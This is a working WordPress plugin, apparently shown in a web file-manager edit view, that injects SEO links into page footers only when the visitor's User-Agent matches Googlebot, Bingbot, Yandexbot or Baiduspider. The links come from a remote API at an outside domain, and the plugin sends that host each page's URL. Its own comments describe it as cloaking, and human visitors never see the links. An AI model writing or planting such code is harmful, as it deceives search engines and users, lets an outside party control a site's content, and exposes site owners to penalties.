JezK
Edit File: SEO_Link_Injector.php_d34cg8a6
<?php /** * Plugin Name: WP SEO Link Injector for Bots (Links Only - Risky Cloaking) * Description: A plugin to inject SEO links solely for major search engine bots (Google, Yandex, Bing, Baidu) from a remote API. * Version: 3.1.0 * Author: Your Name * * IMPORTANT: This plugin implements content delivery based on User-Agent. * This is a form of cloaking, which is against Google's Webmaster Guidelines. * Use at your own risk. It may lead to penalties from search engines. */ if (!defined('ABSPATH')) { exit; // Exit if accessed directly } // Define the API endpoint define('SEO_LINKS_API_ENDPOINT', 'https://ivoque.de/api/generate-for-bots.php'); class WP_SEO_Link_Injector_Links_Only { private static $instance = null; private $config = [ 'items_limit' => 5, // Default number of links to fetch 'cache_ttl' => 3600, // Cache time-to-live in seconds (1 hour) ]; // Whitelist of bot signatures for which links should be injected private $whitelisted_bot_signatures = [ 'googlebot' => 'Googlebot', 'yandexbot' => 'Yandexbot', 'bingbot' => 'Bingbot', 'baiduspider' => 'Baiduspider', ]; /** * Get the singleton instance of the plugin. * * @return WP_SEO_Link_Injector_Links_Only */ public static function get_instance() { if (self::$instance === null) { self::$instance = new self(); } return self::$instance; } /** * Constructor. */ private function __construct() { // Use wp_footer to inject content at the end of the page body add_action('wp_footer', [$this, 'maybe_inject_links']); } /** * Main logic to detect bot and inject links. */ public function maybe_inject_links() { // Do not run in admin area or for AJAX requests if (is_admin() || (defined('DOING_AJAX') && DOING_AJAX)) { return; } $bot_name = $this->detect_whitelisted_bot(); // If it's a whitelisted bot, inject the links if ($bot_name) { $links = $this->get_links_from_api($bot_name); if (!empty($links)) { $this->render_links($links, $bot_name); } else { // Log for debugging, but don't show to user error_log("WP SEO Link Injector: Bot '{$bot_name}' detected, but no links were returned from API. Current URL: " . (home_url($_SERVER['REQUEST_URI'] ?? ''))); } } // IMPORTANT: For regular users, nothing is rendered by this plugin, // effectively making the content visible ONLY to bots by design (cloaking). } /** * Detects if the current visitor is a whitelisted bot. * * @return string|false Bot name if detected, false otherwise. */ private function detect_whitelisted_bot() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; if (empty($user_agent)) { return false; } $user_agent_lower = strtolower($user_agent); foreach ($this->whitelisted_bot_signatures as $signature => $bot_name) { if (strpos($user_agent_lower, $signature) !== false) { return $bot_name; } } return false; } /** * Fetches links from the remote API. * * @param string $bot_name The name of the detected bot. * @return array An array of link data, or an empty array on failure. */ private function get_links_from_api($bot_name) { // Generate a unique cache key based on bot name and current URL $current_url = home_url($_SERVER['REQUEST_URI'] ?? ''); $cache_key = 'wp_seo_links_direct_' . md5($bot_name . $current_url); $cached_links = get_transient($cache_key); if ($cached_links !== false && is_array($cached_links)) { return $cached_links; } $api_url = add_query_arg([ 'bot' => $bot_name, 'count' => $this->config['items_limit'], 'page' => $current_url, // Pass current page URL to API // 'base_id' => '', // Add if you have these parameters // 'category_id' => '', // Add if you have these parameters ], SEO_LINKS_API_ENDPOINT); $response = wp_remote_get($api_url, [ 'timeout' => 5, // 5 second timeout for API request ]); if (is_wp_error($response)) { error_log("WP SEO Link Injector API Error: " . $response->get_error_message() . " URL: " . $api_url); return []; } $body = wp_remote_retrieve_body($response); $data = json_decode($body, true); if (json_last_error() === JSON_ERROR_NONE && !empty($data['status']) && $data['status'] === 'success' && !empty($data['links'])) { set_transient($cache_key, $data['links'], $this->config['cache_ttl']); return $data['links']; } error_log("WP SEO Link Injector: Invalid API response or no links found. Body: " . $body . " URL: " . $api_url); return []; } /** * Renders the links directly into the page. * This content will only be rendered if a whitelisted bot is detected. * * @param array $links An array of link data. * @param string $bot_name The name of the detected bot. */ private function render_links($links, $bot_name) { echo "\n<!-- WP SEO Link Injector: Injected " . count($links) . " links for {$bot_name}. (LINKS ONLY - CLOAKING) -->\n"; echo '<div class="wp-seo-bot-links">' . "\n<ul>\n"; foreach ($links as $link) { if (!empty($link['url'])) { $url = esc_url($link['url']); $anchor = esc_html($link['anchor'] ?? $link['url']); echo "<li><a href='{$url}'>{$anchor}</a></li>\n"; } } echo "</ul>\n</div>\n<!-- /WP SEO Link Injector -->\n"; } } // Initialize the plugin WP_SEO_Link_Injector_Links_Only::get_instance();